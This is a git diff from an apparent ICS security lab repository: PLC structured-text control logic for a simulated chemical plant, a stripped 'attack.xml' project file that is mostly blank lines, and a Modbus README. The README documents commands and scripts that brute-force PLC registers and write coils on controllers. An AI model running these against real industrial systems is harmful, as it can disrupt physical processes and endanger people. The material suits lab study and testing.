+ pressure_k : REAL := 20.0; + pressure_ti : REAL := 999.0; + cycle_time : TIME := T#50ms; + scale_to_real5 : scale_to_real; + scale_to_real4 : scale_to_real; + scale_to_uint0 : scale_to_uint; + pressure_max : REAL := 3200.00; + pressure_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real0 : scale_to_real; + SUB57_OUT : REAL; + MUL60_OUT : REAL; + SUB53_OUT : REAL; + LIMIT55_OUT : REAL; + END_VAR + + scale_to_real5(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real5.scaled_real; + scale_to_real4(raw_input_value := pressure_sp, real_max := pressure_max, real_min := pressure_min); + pressure_sp_real := scale_to_real4.scaled_real; + SUB57_OUT := SUB(pressure_sp_real, pressure_real); + MUL60_OUT := MUL(SUB57_OUT, pressure_k); + pos_update_real := MUL60_OUT; + scale_to_real0(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + valve_pos_real := scale_to_real0.scaled_real; + SUB53_OUT := SUB(valve_pos_real, pos_update_real); + LIMIT55_OUT := LIMIT(pos_min, SUB53_OUT, pos_max); + scale_to_uint0(real_in := LIMIT55_OUT); + valve_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK flow_control + VAR + flow_k : REAL := 1.0; + flow_ti : REAL := 999.0; + flow_td : REAL := 0.0; + END_VAR + VAR_INPUT + product_flow : UINT := 6554; + END_VAR + VAR + product_flow_real : REAL := 100.0; + cycle_time : TIME := T#50ms; + pos_update_real : REAL := 0.0; + curr_pos_real : REAL := 60.9; + END_VAR + VAR_OUTPUT + new_pos : UINT := 35000; + END_VAR + VAR_INPUT + curr_pos : UINT := 35000; + END_VAR + VAR + flow_set_real : REAL := 100.0; + END_VAR + VAR_INPUT + flow_set_in : UINT := 6554; + END_VAR + VAR + scale_to_real0 : scale_to_real; + scale_to_real1 : scale_to_real; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + pos_min : REAL := 0.0; + pos_max : REAL := 100.0; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB59_OUT : REAL; + MUL60_OUT : REAL; + ADD58_OUT : REAL; + LIMIT40_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := product_flow, real_max := flow_max, real_min := flow_min); + product_flow_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := flow_set_in, real_max := flow_max, real_min := flow_min); + flow_set_real := scale_to_real1.scaled_real; + SUB59_OUT := SUB(flow_set_real, product_flow_real); + MUL60_OUT := MUL(SUB59_OUT, flow_k); + pos_update_real := MUL60_OUT; + scale_to_real2(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + curr_pos_real := scale_to_real2.scaled_real; + ADD58_OUT := ADD(curr_pos_real, pos_update_real); + LIMIT40_OUT := LIMIT(pos_min, ADD58_OUT, pos_max); + scale_to_uint0(real_in := LIMIT40_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK level_control + VAR_INPUT + liquid_level : UINT; + level_sp : UINT := 30000; + curr_pos : UINT; + END_VAR + VAR_OUTPUT + new_pos : UINT; + END_VAR + VAR + cycle_time : TIME := T#50ms; + level_k : REAL := 10.0; + level_ti : REAL := 99999.0; + scale_to_real0 : scale_to_real; + level_max : REAL := 100.0; + level_min : REAL := 0.0; + pos_max : REAL := 100.0; + pos_min : REAL := 0.0; + level_real : REAL := 44.18; + pos_real : REAL := 47.0; + pos_update_real : REAL := 0.0; + sp_real : REAL := 44.18; + scale_to_real1 : scale_to_real; + scale_to_real2 : scale_to_real; + scale_to_uint0 : scale_to_uint; + SUB32_OUT : REAL; + MUL33_OUT : REAL; + SUB30_OUT : REAL; + LIMIT25_OUT : REAL; + END_VAR + + scale_to_real0(raw_input_value := liquid_level, real_max := level_max, real_min := level_min); + level_real := scale_to_real0.scaled_real; + scale_to_real1(raw_input_value := curr_pos, real_max := pos_max, real_min := pos_min); + pos_real := scale_to_real1.scaled_real; + scale_to_real2(raw_input_value := level_sp, real_max := level_max, real_min := level_min); + sp_real := scale_to_real2.scaled_real; + SUB32_OUT := SUB(sp_real, level_real); + MUL33_OUT := MUL(SUB32_OUT, level_k); + pos_update_real := MUL33_OUT; + SUB30_OUT := SUB(pos_real, pos_update_real); + LIMIT25_OUT := LIMIT(pos_min, SUB30_OUT, pos_max); + scale_to_uint0(real_in := LIMIT25_OUT); + new_pos := scale_to_uint0.uint_out; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK scale_to_signed + VAR_INPUT + input_uint : UINT; + END_VAR + VAR_OUTPUT + output_int : INT; + END_VAR + VAR + DIV3_OUT : UINT; + ABS8_OUT : UINT; + UINT_TO_INT9_OUT : INT; + END_VAR + + DIV3_OUT := DIV(input_uint, 2); + ABS8_OUT := ABS(DIV3_OUT); + UINT_TO_INT9_OUT := UINT_TO_INT(ABS8_OUT); + output_int := UINT_TO_INT9_OUT; +END_FUNCTION_BLOCK + +FUNCTION_BLOCK pressure_override + VAR + pressure_real : REAL := 2700.0; + END_VAR + VAR_INPUT + pressure : UINT := 58981; + curr_sp : UINT := 58981; + END_VAR + VAR + curr_sp_real : REAL := 2700.0; + product_sp_real : REAL := 100.0; + sp_update : REAL := 0.0; + product_sp_nominl : REAL := 100.0; + END_VAR + VAR_OUTPUT + product_sp : UINT := 13107; + END_VAR + VAR + override_sp_real : REAL := 2900.0; + END_VAR + VAR_INPUT + override_sp : UINT := 63350; + END_VAR + VAR + override_k : REAL := 1.0; + override_ti : REAL := 99999.0; + cycle_time : TIME := T#50ms; + scale_to_real7 : scale_to_real; + pressure_max : REAL := 3000.0; + pressure_min : REAL := 0.0; + flow_max : REAL := 500.0; + flow_min : REAL := 0.0; + scale_to_real0 : scale_to_real; + SUB86_OUT : REAL; + MUL87_OUT : REAL; + MAX84_OUT : REAL; + ADD85_OUT : REAL; + LIMIT67_OUT : REAL; + DIV73_OUT : REAL; + MUL75_OUT : REAL; + REAL_TO_UINT79_OUT : UINT; + END_VAR + + scale_to_real7(raw_input_value := pressure, real_max := pressure_max, real_min := pressure_min); + pressure_real := scale_to_real7.scaled_real; + SUB86_OUT := SUB(override_sp_real, pressure_real); + MUL87_OUT := MUL(SUB86_OUT, override_k); + MAX84_OUT := MAX(MUL87_OUT, 0.0); + sp_update := MAX84_OUT; + scale_to_real0(raw_input_value := curr_sp, real_max := flow_max, real_min := flow_min); + curr_sp_real := scale_to_real0.scaled_real; + ADD85_OUT := ADD(curr_sp_real, sp_update); + LIMIT67_OUT := LIMIT(50.0, ADD85_OUT, 150.0); + product_sp_real := LIMIT67_OUT; + DIV73_OUT := DIV(product_sp_real, 500.0); + MUL75_OUT := MUL(DIV73_OUT, 65535.0); + REAL_TO_UINT79_OUT := REAL_TO_UINT(MUL75_OUT); + product_sp := REAL_TO_UINT79_OUT; +END_FUNCTION_BLOCK + +PROGRAM main + VAR + flow_control0 : flow_control; + first_run : BOOL := True; + END_VAR + VAR + flow_set AT %MW0 : UINT; + a_setpoint AT %MW1 : UINT; + pressure_sp AT %MW2 : UINT; + override_sp AT %MW3 : UINT; + level_sp AT %MW4 : UINT; + END_VAR + VAR + composition_control0 : composition_control; + scale_to_signed0 : scale_to_signed; + END_VAR + VAR + f1_valve_pos AT %IW0 : UINT; + f1_flow AT %IW1 : UINT; + f2_valve_pos AT %IW2 : UINT; + f2_flow AT %IW3 : UINT; + purge_valve_pos AT %IW4 : UINT; + purge_flow AT %IW5 : UINT; + product_valve_pos AT %IW6 : UINT; + product_flow AT %IW7 : UINT; + pressure AT %IW8 : UINT; + level AT %IW9 : UINT; + a_in_purge AT %IW10 : UINT; + b_in_purge AT %IW11 : UINT; + c_in_purge AT %IW12 : UINT; + f1_valve_sp AT %QW0 : UINT; + f2_valve_sp AT %QW1 : UINT; + purge_valve_sp AT %QW2 : UINT; + product_valve_sp AT %QW3 : UINT; + END_VAR + VAR + product_valve_safe : UINT := 0; + purge_valve_safe : UINT := 65535; + f1_valve_safe : UINT; + f2_valve_safe : UINT; + pressure_control0 : pressure_control; + END_VAR + VAR + hmi_pressure AT %MW20 : INT; + hmi_level AT %MW21 : INT; + hmi_f1_valve_pos AT %MW22 : INT; + hmi_f1_flow AT %MW23 : INT; + hmi_f2_valve_pos AT %MW24 : INT; + hmi_f2_flow AT %MW25 : INT; + hmi_purge_valve_pos AT %MW26 : INT; + hmi_purge_flow AT %MW27 : INT; + hmi_product_valve_pos AT %MW28 : INT; + hmi_product_flow AT %MW29 : INT; + scan_count AT %MW30 : UINT; + END_VAR + VAR + scale_to_signed1 : scale_to_signed; + scale_to_signed2 : scale_to_signed; + scale_to_signed3 : scale_to_signed; + scale_to_signed4 : scale_to_signed; + scale_to_signed5 : scale_to_signed; + scale_to_signed6 : scale_to_signed; + scale_to_signed7 : scale_to_signed; + scale_to_signed8 : scale_to_signed; + scale_to_signed9 : scale_to_signed; + pressure_override0 : pressure_override; + level_control0 : level_control; + END_VAR + VAR_EXTERNAL + run_bit : BOOL; + END_VAR + VAR + run_bit0 : BOOL := True; + initialize_sp0 : initialize_sp; + ADD87_OUT : UINT; + GE91_OUT : BOOL; + MOVE92_ENO : BOOL; + MOVE92_OUT : UINT; + END_VAR + + initialize_sp0(EN := first_run); + IF initialize_sp0.ENO THEN + first_run := FALSE; (*reset*) + END_IF; + IF initialize_sp0.ENO THEN + flow_set := initialize_sp0.flow_sp; + END_IF; + IF initialize_sp0.ENO THEN + a_setpoint := initialize_sp0.a_sp; + END_IF; + IF initialize_sp0.ENO THEN + pressure_sp := initialize_sp0.press_sp; + END_IF; + IF initialize_sp0.ENO THEN + override_sp := initialize_sp0.over_sp; + END_IF; + IF initialize_sp0.ENO THEN + level_sp := initialize_sp0.level_sp; + END_IF; + flow_control0(product_flow := product_flow, curr_pos := f1_valve_pos, flow_set_in := flow_set); + f1_valve_sp := flow_control0.new_pos; + pressure_control0(pressure := pressure, pressure_sp := pressure_sp, curr_pos := purge_valve_pos); + purge_valve_sp := pressure_control0.valve_pos; + composition_control0(a_in_purge := a_in_purge, a_setpoint := a_setpoint, curr_pos := f2_valve_pos); + f2_valve_sp := composition_control0.new_pos; + pressure_override0(pressure := pressure, curr_sp := flow_set, override_sp := override_sp); + flow_set := pressure_override0.product_sp; + level_control0(liquid_level := level, level_sp := level_sp, curr_pos := product_valve_pos); + product_valve_sp := level_control0.new_pos; + scale_to_signed0(input_uint := pressure); + hmi_pressure := scale_to_signed0.output_int; + scale_to_signed1(input_uint := level); + hmi_level := scale_to_signed1.output_int; + scale_to_signed2(input_uint := f1_valve_pos); + hmi_f1_valve_pos := scale_to_signed2.output_int; + scale_to_signed3(input_uint := f2_valve_pos); + hmi_f2_valve_pos := scale_to_signed3.output_int; + scale_to_signed4(input_uint := purge_valve_pos); + hmi_purge_valve_pos := scale_to_signed4.output_int; + scale_to_signed5(input_uint := product_valve_pos); + hmi_product_valve_pos := scale_to_signed5.output_int; + scale_to_signed6(input_uint := f1_flow); + hmi_f1_flow := scale_to_signed6.output_int; + scale_to_signed7(input_uint := f2_flow); + hmi_f2_flow := scale_to_signed7.output_int; + scale_to_signed8(input_uint := purge_flow); + hmi_purge_flow := scale_to_signed8.output_int; + scale_to_signed9(input_uint := product_flow); + hmi_product_flow := scale_to_signed9.output_int; + ADD87_OUT := ADD(scan_count, 1); + scan_count := ADD87_OUT; + GE91_OUT := GE(scan_count, 32000); + MOVE92_OUT := MOVE(EN := GE91_OUT, IN := 0, ENO => MOVE92_ENO); + IF MOVE92_ENO THEN + scan_count := MOVE92_OUT; + END_IF; +END_PROGRAM + + +CONFIGURATION Config0 + + RESOURCE Res0 ON PLC + VAR_GLOBAL + run_bit AT %QX0.0 : BOOL; + END_VAR + TASK MainTask(INTERVAL := T#50ms,PRIORITY := 0); + PROGRAM instance0 WITH MainTask : main; + END_RESOURCE +END_CONFIGURATION diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack.xml b/plc/GRFICS_Workstation_Docs/Documents/attack.xml new file mode 100644 index 0000000..725d547 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack.xml @@ -0,0 +1,5136 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30000 + + + + + + + + + + + + + hmi_pressure + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 16000 + + + + + + + + + + + + + hmi_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + + + hmi_purge_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_valve_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f1_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 10000 + + + + + + + + + + + + + hmi_f2_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 3000 + + + + + + + + + + + + + hmi_purge_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 15000 + + + + + + + + + + + + + hmi_product_flow + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 1 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + scan_count + + + + + + + 32000 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 0 + + + + + + + + + + + + + scan_count + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + pressure_sp_real + + + + + + + pressure_k + + + + + + + pressure_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure_sp + + + + + + + + + + + + + pressure_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos + + + + + + + valve_pos_nominal + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + product_flow + + + + + + + + + + + + + product_flow_real + + + + + + + product_flow_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + flow_set_in + + + + + + + + + + + + + flow_set_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + curr_pos_real + + + + + + + curr_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_k + + + + + + + flow_ti + + + + + + + cycle_time + + + + + + + flow_td + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + a_in_purge_real + + + + + + + a_setpoint_real + + + + + + + composition_k + + + + + + + composition_ti + + + + + + + cycle_time + + + + + + + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_in_purge + + + + + + + + + + + + + a_in_purge_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + comp_max + + + + + + + comp_min + + + + + + + a_setpoint + + + + + + + + + + + + + a_setpoint_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + valve_pos_nominal + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + curr_pos + + + + + + + pos_max + + + + + + + pos_min + + + + + + + + + + + + + valve_pos_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + valve_pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_real + + + + + + + override_sp_real + + + + + + + override_k + + + + + + + override_ti + + + + + + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: 